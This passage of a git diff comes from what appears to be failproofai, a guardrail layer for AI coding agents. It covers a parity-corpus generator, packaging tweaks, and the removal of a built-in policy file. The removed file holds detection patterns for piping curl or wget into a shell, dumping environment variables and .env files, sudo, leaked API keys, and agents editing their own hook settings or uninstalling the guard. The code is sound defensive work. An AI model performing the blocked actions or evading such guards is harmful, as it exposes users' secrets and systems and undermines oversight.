2)}\n`; +} + +// ── Fixture generation ─────────────────────────────────────────────────────── + +let invocationCount = 0; + +async function runCase(cli, eventType, decisionKind, toolPresence, policyCount) { + const specs = policySpecs(decisionKind, policyCount); + + clearPolicies(); + const ownFns = new Set(); + for (const spec of specs) { + const fn = async () => { + invocationCount += 1; + return policyResultFor(spec); + }; + ownFns.add(fn); + registerPolicy(spec.name, SYNTHETIC.policyDescription, fn, {}, 0); + } + + const payload = buildPayload(eventType, toolPresence); + const session = buildSession(cli, eventType); + assertRegistryIsSynthetic(specs, ownFns, eventType, payload.tool_name); + + const before = invocationCount; + const result = await evaluatePolicies(eventType, payload, session); + const ran = invocationCount - before; + + // deny short-circuits at the first matching policy; every other decision + // accumulates, so all of them run. Any other count means something we did not + // register executed. + const expectedRan = decisionKind === "deny" ? 1 : specs.length; + if (ran !== expectedRan) { + fail( + `${cli}/${eventType}/${caseId(decisionKind, toolPresence, policyCount)}: ` + + `${ran} policy invocation(s), expected ${expectedRan}.`, + ); + } + clearPolicies(); + + return { + case: caseId(decisionKind, toolPresence, policyCount), + cli, + decision_kind: decisionKind, + event: eventType, + input: { + event_type: eventType, + payload, + policies: specs, + session, + }, + output: { + decision: result.decision, + exitCode: result.exitCode, + policyName: result.policyName, + // `undefined` on the reference becomes an explicit null, so the key is + // always present: a Rust encoder that omits it is then a visible diff + // rather than a silently-tolerated absence. + policyNames: result.policyNames ?? null, + reason: result.reason, + stderr: result.stderr, + stdout: result.stdout, + }, + policy_count: policyCount, + tool: toolPresence, + }; +} + +/** + * Build every fixture. Returns `{ relPath, contents }` sorted by `relPath`, so + * the digest and the write order do not depend on iteration order. + */ +export async function generateFixtures() { + const files = []; + const seen = new Set(); + + for (const cli of INTEGRATION_TYPES) { + for (const eventType of HOOK_EVENT_TYPES) { + for (const decisionKind of DECISION_KINDS) { + for (const toolPresence of TOOL_PRESENCE) { + for (const policyCount of POLICY_COUNTS) { + const fixture = await runCase(cli, eventType, decisionKind, toolPresence, policyCount); + const relPath = fixtureRelPath(cli, eventType, decisionKind, toolPresence, policyCount); + if (seen.has(relPath)) fail(`duplicate fixture path ${relPath}`); + seen.add(relPath); + files.push({ relPath, contents: renderJson(fixture) }); + } + } + } + } + } + + if (files.length !== EXPECTED_FIXTURE_COUNT) { + fail( + `emitted ${files.length} fixtures, expected ${EXPECTED_FIXTURE_COUNT} ` + + `(${INTEGRATION_TYPES.length} clis × ${HOOK_EVENT_TYPES.length} events × ` + + `${DECISION_KINDS.length} decisions × ${TOOL_PRESENCE.length} tool states × ` + + `${POLICY_COUNTS.length} policy counts).`, + ); + } + + files.sort((a, b) => (a.relPath < b.relPath ? -1 : a.relPath > b.relPath ? 1 : 0)); + assertNoMachineSpecificValues(files); + return files; +} + +/** sha256 over the sorted `\n` stream. */ +export function corpusDigest(files) { + const hash = createHash("sha256"); + for (const file of files) { + hash.update(file.relPath); + hash.update("\n"); + hash.update(file.contents); + } + return hash.digest("hex"); +} + +function buildManifest(files) { + return { + corpus_sha256: corpusDigest(files), + description: + "Byte-exact response-encoding oracle for the failproofai hook pipeline. Each fixture " + + "records the synthetic input and the exact exitCode/stdout/stderr the TypeScript " + + "reference produced. A reimplementation is diffed against these bytes.", + dimensions: { + clis: [...INTEGRATION_TYPES], + decision_kinds: [...DECISION_KINDS], + events: [...HOOK_EVENT_TYPES], + policy_counts: [...POLICY_COUNTS], + tool_presence: [...TOOL_PRESENCE], + }, + fixture_count: files.length, + fixture_count_formula: "clis × events × decision_kinds × tool_presence × policy_counts", + generated_by: "scripts/gen-parity-corpus.mjs", + layout: `${FIXTURES_DIRNAME}///____.json`, + regenerate_with: REGENERATE_COMMAND, + schema_version: SCHEMA_VERSION, + }; +} + +// ── Coverage map ───────────────────────────────────────────────────────────── + +export const COVERAGE_LABELS = [ + "not-registered", + "observe-only", + "reachable", + "registered-unverified", +]; + +/** + * How each label is derived. Emitted verbatim into `coverage.json` so the file + * explains itself to whoever reads it next. + */ +export const COVERAGE_DERIVATION = { + "not-registered": + "The canonical event is NOT in the image of getIntegration(cli).eventTypes under " + + "_EVENT_MAP (identity when the CLI declares no map). failproofai writes no hook " + + "entry for it, so the evaluator is never invoked for this pair at all.", + "observe-only": + "Registered, and ENFORCEMENT_CAPABILITY[cli][event] === \"observe\": the hook fires but " + + "the vendor discards the verdict (or the tool has already run), so a deny cannot change " + + "the agent's behaviour.", + reachable: + "Registered, and ENFORCEMENT_CAPABILITY[cli][event] === \"block\": the verdict is read at " + + "a call site that prevents the action or forces the agent to continue/retry. These are the " + + "cells the parity corpus must cover.", + "registered-unverified": + "Registered, but ENFORCEMENT_CAPABILITY has NO entry for the pair. src/hooks/" + + "enforcement-capability.ts's doctrine is that an absent row means NOT VERIFIED, never " + + "\"block\" and never \"observe\" — labelling these either way would assert something nobody " + + "traced. The hook still fires, so the encoder still runs and the corpus still covers them.", +}; + +function canonicalEventSet() { + return new Set(HOOK_EVENT_TYPES); +} + +/** + * The canonical events failproofai actually installs a hook for on `cli`. + * + * `getIntegration(cli).eventTypes` is the authority rather than + * `_HOOK_EVENT_TYPES`, because that array is literally what + * `writeHookEntries` iterates when it writes the settings file. Today they + * agree for eleven CLIs; claude installs `CLAUDE_INSTALL_EVENT_TYPES`, which + * drops `WorktreeCreate` (Claude uses it as a worktree-PATH PROVIDER, not a + * gate — registering it broke `claude --worktree` for every user). Deriving + * from the declared list would mark claude/WorktreeCreate registered when it is + * not. + */ +function installedCanonicalEvents(cli) { + const canonical = canonicalEventSet(); + const prefix = cli.toUpperCase(); + const eventMap = types[`${prefix}_EVENT_MAP`]; + const declared = types[`${prefix}_HOOK_EVENT_TYPES`]; + const installed = getIntegration(cli).eventTypes; + + if (declared) { + const notDeclared = installed.filter((e) => !declared.includes(e)); + if (notDeclared.length > 0) { + fail( + `${cli}: getIntegration("${cli}").eventTypes installs ${JSON.stringify(notDeclared)}, ` + + `which ${prefix}_HOOK_EVENT_TYPES does not declare.`, + ); + } + } + + const events = new Set(); + const unmapped = []; + for (const vendorEvent of installed) { + if (eventMap && !(vendorEvent in eventMap)) { + fail(`${prefix}_EVENT_MAP has no mapping for the installed event ${JSON.stringify(vendorEvent)}.`); + } + const canonicalEvent = eventMap ? eventMap[vendorEvent] : vendorEvent; + if (canonical.has(canonicalEvent)) events.add(canonicalEvent); + else unmapped.push(vendorEvent); + } + + return { + events, + installed_vendor_events: [...installed].sort(), + install_list_source: declared ? `${prefix}_HOOK_EVENT_TYPES` : "CLAUDE_INSTALL_EVENT_TYPES", + unmapped_vendor_events: unmapped.sort(), + }; +} + +/** + * Cross-check the live TypeScript constant against the JSON the Rust crate + * actually reads. If they disagree, the coverage map would be derived from a + * table the daemon does not see. + */ +function assertGeneratedCapabilityAgrees() { + let raw; + try { + raw = readFileSync(ENFORCEMENT_CAPABILITY_JSON, "utf8"); + } catch { + fail( + `cannot read ${ENFORCEMENT_CAPABILITY_JSON}. Generate it first:\n\n` + + ` bun scripts/gen-canon-tables.ts\n`, + ); + } + const generated = JSON.parse(raw); + for (const cli of INTEGRATION_TYPES) { + const fromJson = generated.clis?.[cli]?.capabilities ?? {}; + const fromTs = ENFORCEMENT_CAPABILITY[cli] ?? {}; + if (renderJson(fromJson) !== renderJson(fromTs)) { + fail( + `crates/generated/enforcement-capability.json disagrees with ` + + `src/hooks/enforcement-capability.ts for "${cli}". Regenerate it:\n\n` + + ` bun scripts/gen-canon-tables.ts\n`, + ); + } + } +} + +export function buildCoverage() { + assertGeneratedCapabilityAgrees(); + + const cells = {}; + const perCli = {}; + const totals = Object.fromEntries(COVERAGE_LABELS.map((l) => [l, 0])); + + for (const cli of INTEGRATION_TYPES) { + const installed = installedCanonicalEvents(cli); + const capabilities = ENFORCEMENT_CAPABILITY[cli]; + if (!capabilities) { + fail(`ENFORCEMENT_CAPABILITY has no entry for "${cli}".`); + } + + const perCliTotals = Object.fromEntries(COVERAGE_LABELS.map((l) => [l, 0])); + const cliCells = {}; + for (const eventType of HOOK_EVENT_TYPES) { + const registered = installed.events.has(eventType); + const capability = capabilities[eventType]; + if (capability !== undefined && capability !== "block" && capability !== "observe") { + fail( + `ENFORCEMENT_CAPABILITY.${cli}.${eventType} is ${JSON.stringify(capability)}; ` + + `only "block" and "observe" are known labels.`, + ); + } + let label; + if (!registered) label = "not-registered"; + else if (capability === "block") label = "reachable"; + else if (capability === "observe") label = "observe-only"; + else label = "registered-unverified"; + cliCells[eventType] = label; + perCliTotals[label] += 1; + totals[label] += 1; + } + + cells[cli] = cliCells; + perCli[cli] = { + // Non-empty means enforcement-capability.ts labels an event this CLI has + // no hook entry for — a real disagreement between two source files, not a + // table nit. The coverage test asserts it stays empty. + capabilities_outside_install_set: Object.keys(capabilities) + .filter((e) => !installed.events.has(e)) + .sort(), + install_list_source: installed.install_list_source, + installed_canonical_events: [...installed.events].sort(), + installed_vendor_events: installed.installed_vendor_events, + totals: perCliTotals, + unmapped_vendor_events: installed.unmapped_vendor_events, + }; + } + + const ambiguous = []; + for (const cli of INTEGRATION_TYPES) { + for (const eventType of HOOK_EVENT_TYPES) { + if (cells[cli][eventType] === "registered-unverified") ambiguous.push(`${cli}/${eventType}`); + } + } + + return { + cells, + derivation: COVERAGE_DERIVATION, + description: + "Is the (cli, canonical event) pair covered by a hook failproofai installs, and does the " + + "vendor honour a decision on it? Computed from the sources below by " + + "scripts/gen-parity-corpus.mjs — never classified by hand.", + generated_by: "scripts/gen-parity-corpus.mjs", + labels: [...COVERAGE_LABELS], + notes: [ + "The three-label vocabulary in the plan (reachable / not-registered / observe-only) is " + + "not total: it has no room for a pair whose hook fires but whose vendor behaviour " + + "nobody has traced. src/hooks/enforcement-capability.ts is explicit that an absent row " + + "means UNKNOWN — calling it \"reachable\" would claim protection nobody verified, and " + + "calling it \"observe-only\" would tell a user a working policy is inert. Hence the " + + "fourth label, \"registered-unverified\", for exactly those cells: " + + (ambiguous.length > 0 ? ambiguous.join(", ") : "(none today)") + + ".", + "For corpus purposes registered-unverified behaves like reachable: the hook fires, so the " + + "encoder runs, so a reimplementation must produce identical bytes.", + "A cell moving to not-registered means failproofai stopped installing that hook. " + + "__tests__/parity/coverage.test.ts fails the build on it — that is the regression this " + + "file exists to catch.", + "Regenerating cannot hide such a move. capabilities_outside_install_set is asserted empty " + + "against the LIVE constants, so an event dropped from an install list while " + + "enforcement-capability.ts still claims the vendor honours a verdict there fails the " + + "build no matter how many times the corpus is regenerated.", + ], + per_cli: perCli, + regenerate_with: REGENERATE_COMMAND, + schema_version: SCHEMA_VERSION, + sources: [ + "src/hooks/integrations.ts (getIntegration(cli).eventTypes — the events a hook is written for)", + "src/hooks/types.ts (_EVENT_MAP, _HOOK_EVENT_TYPES, HOOK_EVENT_TYPES, INTEGRATION_TYPES)", + "src/hooks/enforcement-capability.ts (does the vendor honour a decision)", + "crates/generated/enforcement-capability.json (cross-checked against the above)", + ], + totals, + }; +} + +// ── Emit ───────────────────────────────────────────────────────────────────── + +/** + * Everything this generator owns, as `{ relPath, contents }` relative to the + * output directory. Sorted, so callers can diff two runs positionally. + */ +export async function generateAll() { + const fixtures = await generateFixtures(); + const files = [ + ...fixtures, + { relPath: `${FIXTURES_DIRNAME}/${MANIFEST_FILENAME}`, contents: renderJson(buildManifest(fixtures)) }, + { relPath: COVERAGE_FILENAME, contents: renderJson(buildCoverage()) }, + ]; + files.sort((a, b) => (a.relPath < b.relPath ? -1 : a.relPath > b.relPath ? 1 : 0)); + return files; +} + +/** Build and write. The fixtures tree is removed first so a deleted CLI or + * event cannot leave an orphan behind. Returns the files written. */ +export async function writeAll(outDir = DEFAULT_OUT_DIR) { + const files = await generateAll(); + rmSync(join(outDir, FIXTURES_DIRNAME), { recursive: true, force: true }); + const madeDirs = new Set(); + for (const { relPath, contents } of files) { + const target = join(outDir, relPath); + const dir = dirname(target); + if (!madeDirs.has(dir)) { + mkdirSync(dir, { recursive: true }); + madeDirs.add(dir); + } + writeFileSync(target, contents, "utf8"); + } + return files; +} + +// ── CLI ────────────────────────────────────────────────────────────────────── + +function parseArgs(argv) { + let outDir = DEFAULT_OUT_DIR; + let check = false; + for (let i = 0; i < argv.length; i += 1) { + const arg = argv[i]; + if (arg === "--out" || arg === "-o") { + const next = argv[i + 1]; + if (!next) fail("--out requires a directory argument."); + outDir = resolve(next); + i += 1; + } else if (arg === "--check") { + check = true; + } else if (arg === "--help" || arg === "-h") { + process.stdout.write( + `Usage: ${REGENERATE_COMMAND} [--out ] [--check]\n\n` + + ` --out write the corpus to (default: __tests__/parity)\n` + + ` --check build and verify only; write nothing\n`, + ); + process.exit(0); + } else { + fail(`Unknown argument ${JSON.stringify(arg)}. Try --help.`); + } + } + return { outDir, check }; +} + +function summarize(files) { + const fixtures = files.filter( + (f) => f.relPath.startsWith(`${FIXTURES_DIRNAME}/`) && !f.relPath.endsWith(`/${MANIFEST_FILENAME}`), + ); + const coverage = JSON.parse(files.find((f) => f.relPath === COVERAGE_FILENAME).contents); + const lines = [ + `[gen-parity-corpus] ${fixtures.length} fixtures = ` + + `${INTEGRATION_TYPES.length} clis × ${HOOK_EVENT_TYPES.length} events × ` + + `${DECISION_KINDS.length} decisions (${DECISION_KINDS.join(", ")}) × ` + + `${TOOL_PRESENCE.length} tool states × ${POLICY_COUNTS.length} policy counts`, + `[gen-parity-corpus] corpus sha256 ${corpusDigest(fixtures)}`, + `[gen-parity-corpus] coverage ${COVERAGE_LABELS.map((l) => `${l}=${coverage.totals[l]}`).join(" ")} ` + + `(${INTEGRATION_TYPES.length * HOOK_EVENT_TYPES.length} cells)`, + ]; + return lines.join("\n") + "\n"; +} + +async function main(argv) { + let outDir; + let check; + try { + ({ outDir, check } = parseArgs(argv)); + } catch (err) { + process.stderr.write(`[gen-parity-corpus] ${err.message}\n`); + return 2; + } + + let files; + try { + files = await generateAll(); + } catch (err) { + if (err instanceof CorpusGenerationError) { + process.stderr.write(`[gen-parity-corpus] FAILED: ${err.message}\n`); + return 1; + } + throw err; + } + + if (check) { + let stale = 0; + let firstStale = null; + for (const { relPath, contents } of files) { + const target = join(outDir, relPath); + let existing = null; + try { + existing = readFileSync(target, "utf8"); + } catch { + existing = null; + } + if (existing !== contents) { + stale += 1; + if (!firstStale) firstStale = relPath; + } + } + if (stale > 0) { + process.stderr.write( + `[gen-parity-corpus] ${stale} file(s) out of date, first: ${firstStale}\n` + + `[gen-parity-corpus] regenerate with: ${REGENERATE_COMMAND}\n`, + ); + return 1; + } + process.stdout.write(summarize(files)); + process.stdout.write(`[gen-parity-corpus] up to date (${files.length} files).\n`); + return 0; + } + + await writeAll(outDir); + process.stdout.write(summarize(files)); + process.stdout.write(`[gen-parity-corpus] wrote ${files.length} files under ${outDir}\n`); + return 0; +} + +// Run only when executed directly, never on import (the coverage test imports +// the builders). `import.meta.main` is bun-only, so compare argv instead. +const invokedPath = process.argv[1] ? resolve(process.argv[1]) : ""; +if (invokedPath && invokedPath === fileURLToPath(import.meta.url)) { + process.exit(await main(process.argv.slice(2))); +} diff --git a/scripts/prune-standalone.mjs b/scripts/prune-standalone.mjs index 0d524aa8..2db7a2e7 100644 --- a/scripts/prune-standalone.mjs +++ b/scripts/prune-standalone.mjs @@ -96,11 +96,21 @@ if (exists(NM)) prune(NM); // node_modules/, package.json, public/, and the compiled app code — the rest // is source/dev/docs that the runtime never reads. const STANDALONE_ROOT_PRUNE = [ - // Doc / dev directories - "docs", "examples", "design-docs", "__tests__", + // Doc / dev directories. + // + // BOTH spellings of the design-doc tree are listed on purpose. The directory + // on disk is `desgin-docs` — a typo in the repo that is deliberately NOT being + // renamed (every design doc cross-links it). This list carried only the + // correctly-spelled `design-docs`, so it matched nothing and the whole tree + // shipped inside `.next/standalone/` on every publish. Keep both entries so + // the pruning survives an eventual rename in either direction. + "docs", "examples", "design-docs", "desgin-docs", "__tests__", ".claude", ".failproofai", ".github", ".vscode", ".idea", // Failproofai CLI artifacts — the dashboard never loads these "bin", "dist", "scripts", "src", + // Rust workspace — source and build output, neither of which the Next server + // reads. `target/` in particular is gigabytes once a crate exists. + "crates", "target", ]; const STANDALONE_ROOT_PRUNE_FILES = [ // Top-level markdown / licenses / docs @@ -109,6 +119,9 @@ const STANDALONE_ROOT_PRUNE_FILES = [ // Build / lint / test config (applied at build time, not runtime) "tsconfig.json", "eslint.config.mjs", "tailwind.config.ts", "components.json", "vitest.config.mts", "vitest.config.e2e.mts", + // Rust workspace config. NFT traces these into the standalone root the same + // way it does every other repo-root file; verified by unpacking the tarball. + "Cargo.toml", "Cargo.lock", "rust-toolchain.toml", "rustfmt.toml", "clippy.toml", // Lockfiles "bun.lock", "bun.lockb", "package-lock.json", "yarn.lock", ]; diff --git a/scripts/publish-aliases.mjs b/scripts/publish-aliases.mjs index 3d14bcd9..846f5fdd 100644 --- a/scripts/publish-aliases.mjs +++ b/scripts/publish-aliases.mjs @@ -65,7 +65,10 @@ for (const name of ALIASES) { console.log(`Publishing ${name}@${VERSION}...`); try { - execSync(`npm publish --tag ${DIST_TAG}`, { cwd: tmpDir, stdio: 'pipe' }); + // --ignore-scripts for the same reason the main publish step uses it: the + // generated alias package must never gain a lifecycle script that runs on + // the publisher's machine (or, transitively, on every installer's). + execSync(`npm publish --ignore-scripts --tag ${DIST_TAG}`, { cwd: tmpDir, stdio: 'pipe' }); console.log(`Done: ${name}`); } catch (err) { const output = (err.stdout?.toString() ?? '') + (err.stderr?.toString() ?? ''); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 0aded159..ef49a191 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1,1635 +1,101 @@ /** * Built-in security policies for Claude Code hooks. - */ -import { resolve, join } from "node:path"; -import { readFile, writeFile, stat, open } from "node:fs/promises"; -import { execSync, execFileSync } from "node:child_process"; -import { homedir } from "node:os"; -import type { BuiltinPolicyDefinition, PolicyContext, PolicyResult, PolicyParamsSchema } from "./policy-types"; -import { allow, deny, instruct } from "./policy-helpers"; -import { normalizePolicyName, registerPolicy } from "./policy-registry"; -import { hookLogWarn } from "./hook-logger"; - -/** - * Whether `resolved` lives under an agent CLI's home directory - * (~/.claude/, ~/.codex/, ~/.copilot/, ~/.cursor/, ~/.pi/, ~/.gemini/, or any - * of OpenCode's three home-side dirs). Used to whitelist agent self-reads of - * their own config and transcripts. * - * OpenCode splits its data across three locations (verified live on - * opencode v1.14.33 via `opencode debug paths`): - * • ~/.config/opencode/ — config + plugins - * • ~/.local/share/opencode/ — sessions, snapshots, opencode.db (SQLite) - * • ~/.opencode/ — legacy fallback path - */ -function isAgentInternalPath(resolved: string): boolean { - // Normalize backslashes to forward slashes so the same `startsWith` check - // works on Windows. `resolve()` returns forward slashes on POSIX but - // backslashes on Windows; `join(homedir(), ...)` follows the same OS - // convention. Comparing both sides under a single forward-slash form - // avoids per-OS branching. - const normResolved = resolved.replaceAll("\\", "/"); - for (const dir of [".claude", ".codex", ".copilot", ".cursor", ".opencode", ".pi", ".gemini"]) { - const root = join(homedir(), dir).replaceAll("\\", "/"); - if (normResolved === root || normResolved.startsWith(root + "/")) return true; - } - for (const sub of [join(".config", "opencode"), join(".local", "share", "opencode")]) { - const root = join(homedir(), sub).replaceAll("\\", "/"); - if (normResolved === root || normResolved.startsWith(root + "/")) return true; - } - return false; -} - -/** - * Whether `resolved` is a settings/hooks file for an agent CLI: - * • Claude Code: `.claude/settings.json`, `.claude/settings.local.json`, etc. - * • Codex: `.codex/hooks.json` - * • Copilot CLI: `.copilot/hooks/*.json`, `.github/hooks/*.json` - * • Cursor Agent: `.cursor/hooks.json` - * • OpenCode: `.opencode/opencode.{json,jsonc}`, - * `.opencode/plugins/*.{mjs,js,ts}`, - * `~/.config/opencode/{opencode.json,opencode.jsonc,config.json}`, - * `~/.config/opencode/plugins/*.{mjs,js,ts}` - * • Pi: `.pi/settings.json` (project) and `.pi/agent/settings.json` - * (user); also the Pi-managed extension dir - * `.pi/extensions/` / `.pi/agent/extensions/`. - * • Antigravity CLI (agy): reuses `~/.gemini/` — `~/.gemini/settings.json` - * and the customization-root hook config - * `~/.gemini/config/hooks.json`. - * These must NEVER be edited by the agent itself — that would let it disable - * its own protections. - */ -function isAgentSettingsFile(resolved: string): boolean { - if (/[\\/]\.claude[\\/]settings(?:\.[^/\\]+)?\.json$/.test(resolved)) return true; - if (/[\\/]\.codex[\\/]hooks\.json$/.test(resolved)) return true; - if (/[\\/]\.copilot[\\/]hooks[\\/][^/\\]+\.json$/.test(resolved)) return true; - if (/[\\/]\.github[\\/]hooks[\\/][^/\\]+\.json$/.test(resolved)) return true; - if (/[\\/]\.cursor[\\/]hooks\.json$/.test(resolved)) return true; - // OpenCode: project config + plugins, user config + plugins, legacy config. - if (/[\\/]\.opencode[\\/]opencode\.jsonc?$/.test(resolved)) return true; - if (/[\\/]\.opencode[\\/]plugins[\\/][^/\\]+\.(?:mjs|js|ts)$/.test(resolved)) return true; - if (/[\\/]\.config[\\/]opencode[\\/]opencode\.jsonc?$/.test(resolved)) return true; - if (/[\\/]\.config[\\/]opencode[\\/]config\.json$/.test(resolved)) return true; - if (/[\\/]\.config[\\/]opencode[\\/]plugins[\\/][^/\\]+\.(?:mjs|js|ts)$/.test(resolved)) return true; - // Pi: settings + extensions dirs (project and user-scope variants). - if (/[\\/]\.pi[\\/](?:agent[\\/])?settings\.json$/.test(resolved)) return true; - if (/[\\/]\.pi[\\/](?:agent[\\/])?extensions[\\/]/.test(resolved)) return true; - // Antigravity (agy) reuses ~/.gemini/: settings.json + the customization-root hooks.json. - if (/[\\/]\.gemini[\\/]settings\.json$/.test(resolved)) return true; - if (/[\\/]\.gemini[\\/]config[\\/]hooks\.json$/.test(resolved)) return true; - return false; -} - -// Back-compat aliases — kept for any caller that imports the old names. -const isClaudeInternalPath = isAgentInternalPath; -const isClaudeSettingsFile = isAgentSettingsFile; - -function getCommand(ctx: PolicyContext): string { - return (ctx.toolInput?.command as string) ?? ""; -} - -function getFilePath(ctx: PolicyContext): string { - return (ctx.toolInput?.file_path as string) ?? ""; -} - -/** - * Parse a command string into argv tokens for safe pattern matching. - * Splits on whitespace and strips simple single/double quotes. - * Does not handle all shell syntax — sufficient for prefix-match allowlists. - */ -function parseArgvTokens(cmd: string): string[] { - return cmd.trim().split(/\s+/).map((t) => t.replace(/^['"]|['"]$/g, "")); -} - -// Shell operators that always act as command separators when whitespace-delimited. -const SHELL_OPERATORS = new Set(["&&", "||", "|", ";"]); - -// Shell metacharacters that are unsafe when embedded inside a token. Any command -// whose argv contains one of these in a token is rejected before allowlist matching. -// This closes the bypass where operators are glued to a word (e.g. "nginx;evil" or -// "nginx&&evil") and would otherwise be invisible to the standalone-operator check. -// Note: | is intentionally excluded here because "foo|bar" is a valid grep/sed -// argument value; the standalone-operator check above already handles bare "|" tokens. -const SHELL_METACHAR_RE = /[;&<>`$()\\]/; - -// -- Pre-compiled regex constants (hoisted to avoid per-call allocation) -- - -// sanitizeJwt -const JWT_RE = /eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}/; - -// sanitizeApiKeys -const API_KEY_PATTERNS: Array<[RegExp, string]> = [ - [/sk-ant-[A-Za-z0-9\-_]{20,}/, "Anthropic API key"], - [/sk-proj-[A-Za-z0-9\-_]{20,}/, "OpenAI project API key"], - [/sk-[A-Za-z0-9]{20,}/, "OpenAI API key"], - [/ghp_[A-Za-z0-9]{36}/, "GitHub personal access token"], - [/github_pat_[A-Za-z0-9_]{82}/, "GitHub fine-grained token"], - [/AKIA[A-Z0-9]{16}/, "AWS access key ID"], - [/sk_live_[A-Za-z0-9]{24,}/, "Stripe live secret key"], - [/sk_test_[A-Za-z0-9]{24,}/, "Stripe test secret key"], - [/AIza[0-9A-Za-z\-_]{35}/, "Google API key"], -]; - -// sanitizeConnectionStrings -const CONNECTION_STRING_RE = /(?:postgresql|postgres|mysql|mongodb(?:\+srv)?|redis|amqps?|smtps?):\/\/[^@\s]+@/; - -// sanitizePrivateKeyContent -const PRIVATE_KEY_RE = /-----BEGIN (?:[A-Z]+ )?PRIVATE KEY-----/; - -// sanitizeBearerTokens -const BEARER_TOKEN_RE = /Authorization:\s*Bearer\s+[A-Za-z0-9\-._~+/]{20,}/i; - -// warnDestructiveSql / warnSchemaAlteration -const SQL_TOOL_RE = /\b(?:psql|mysql|sqlite3|pgcli|clickhouse-client)\b/; -const DESTRUCTIVE_SQL_RE = /\b(?:DROP\s+(?:TABLE|DATABASE|SCHEMA)|TRUNCATE\b)/i; -const DELETE_NO_WHERE_RE = /\bDELETE\s+FROM\b/i; -const SQL_WHERE_RE = /\bWHERE\b/i; -const SCHEMA_ALTER_RE = /\bALTER\s+TABLE\b[\s\S]*\b(?:DROP\s+COLUMN|ADD\s+COLUMN|RENAME\s+(?:COLUMN|TO)|MODIFY\s+COLUMN)\b/i; - -// warnPackagePublish -const PUBLISH_CMD_RE = /(?:npm\s+publish|bun\s+publish|pnpm\s+publish|yarn\s+npm\s+publish|twine\s+upload|poetry\s+publish|cargo\s+publish|gem\s+push)\b/; - -// protectEnvVars -const ENV_PRINTENV_RE = /(?:^|\s|;|&&|\|\|)(?:env|printenv)(?:\s|$|;|&&|\|)/; -const ECHO_ENV_RE = /echo\s+.*\$\{?[A-Za-z_]/; -const EXPORT_RE = /(?:^|\s|;|&&|\|\|)export\s+\w+/; -const PS_ENV_VAR_RE = /\$env:[A-Za-z_]/i; -const PS_CHILDITEM_ENV_RE = /(?:Get-ChildItem|dir|gci|ls)\s+Env:/i; -const DOTNET_GETENV_RE = /\[Environment\]::GetEnvironment/i; -const CMD_ECHO_ENV_RE = /echo\s+%[A-Za-z_]/i; - -// blockEnvFiles -const ENV_FILE_PATH_RE = /(?:^|[\\/])\.env(?:\.|$)/; -const ENV_CMD_RE = /\.env(?:\b|\s|$|\.)/; - -// blockSudo -const SUDO_RE = /(?:^|;|&&|\|\|)\s*sudo\s/; -const PS_ELEVATION_RE = /Start-Process\s+.*-Verb\s+RunAs/i; -const RUNAS_RE = /(?:^|;|&&|\|\|)\s*runas\s/i; - -// blockCurlPipeSh -const CURL_PIPE_SH_RE = /(?:curl|wget)\s.*\|\s*(?:sh|bash|zsh|dash|ksh|csh|tcsh|fish|ash)\b/; -const PS_WEB_PIPE_RE = /(?:Invoke-WebRequest|iwr|Invoke-RestMethod|irm)\s+.*\|\s*(?:Invoke-Expression|iex)/i; - -// blockForcePush -const SHORT_FLAG_BUNDLE_RE = /^-[a-zA-Z]*f[a-zA-Z]*$/; -const SAFE_FORCE_PREFIXES = ["--force-with-lease", "--force-if-includes"] as const; - -// blockSecretsWrite -const SECRET_FILE_RE = /\.(?:pem|key)$/; -const SECRET_FILE_ID_RSA_RE = /id_rsa/; -const SECRET_FILE_CREDENTIALS_RE = /credentials/; - -// blockWorkOnMain -const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; - -// blockFailproofaiCommands -const FAILPROOFAI_CLI_RE = /(?:^|;|&&|\|\||\|)\s*failproofai(?:\s|$)/; -const FAILPROOFAI_UNINSTALL_RE = /(?:npm\s+(?:uninstall|remove|un|r)\s.*failproofai|bun\s+remove\s.*failproofai|yarn\s+global\s+remove\s+failproofai|pnpm\s+(?:remove|uninstall|un)\s.*failproofai)/; - -// warnGitAmend -const GIT_AMEND_RE = /\bgit\s+commit\b.*--amend\b/; - -// warnGitStashDrop -const GIT_STASH_DROP_RE = /\bgit\s+stash\s+(?:drop|clear)\b/; - -// warnAllFilesStaged -const GIT_ADD_ALL_RE = /\bgit\s+add\s+(?:-A\b|--all\b|\.(?:\s|$|;|&&|\|\|))/; - -// warnGlobalPackageInstall -const NPM_GLOBAL_RE = /\bnpm\s+(?:install|i)\b(?=.*(?:\s-g\b|--global\b))/; -const YARN_GLOBAL_RE = /\byarn\s+global\s+add\b/; -const PNPM_GLOBAL_RE = /\bpnpm\s+(?:add|install|i)\b(?=.*(?:\s-g\b|--global\b))/; -const BUN_GLOBAL_RE = /\bbun\s+(?:install|add)\b(?=.*(?:\s-g\b|--global\b))/; -const CARGO_INSTALL_RE = /\bcargo\s+install\b/; -const PIP_SYSTEM_RE = /\bpip(?:3)?\s+install\b(?=.*(?:--user\b|--break-system-packages\b))/; - -// preferPackageManager — maps manager name → detection patterns -const PKG_MANAGER_DETECTORS: Record = { - pip: [/\bpip\b/, /\bpip3\b/, /\bpython3?\s+-m\s+pip\b/], - npm: [/\bnpm\b/, /\bnpx\b/], - yarn: [/\byarn\b/], - pnpm: [/\bpnpm\b/, /\bpnpx\b/], - bun: [/\bbun\b/, /\bbunx\b/], - uv: [/\buv\b/], - poetry: [/\bpoetry\b/], - pipenv: [/\bpipenv\b/], - conda: [/\bconda\b/], - cargo: [/\bcargo\b/], -}; - -// warnBackgroundProcess -const NOHUP_RE = /\bnohup\s+\S/; -const SCREEN_DETACH_RE = /\bscreen\s+-[A-Za-z]*d[A-Za-z]*\b/; -const TMUX_DETACH_RE = /\btmux\s+(?:new-session|new)\b[^|&;]*-d\b/; -const DISOWN_RE = /\bdisown\b/; -const BACKGROUND_AMPERSAND_RE = /(?(); - -function getCurrentBranch(cwd: string): string | null { - try { - let branch = gitBranchCache.get(cwd); - if (branch === undefined) { - branch = execSync("git rev-parse --abbrev-ref HEAD", { - cwd, - encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], - timeout: 3000, - }).trim(); - gitBranchCache.set(cwd, branch); - } - return branch || null; - } catch { - return null; - } -} - -function getHeadSha(cwd: string): string | null { - try { - const sha = execSync("git rev-parse HEAD", { - cwd, - encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], - timeout: 3000, - }).trim(); 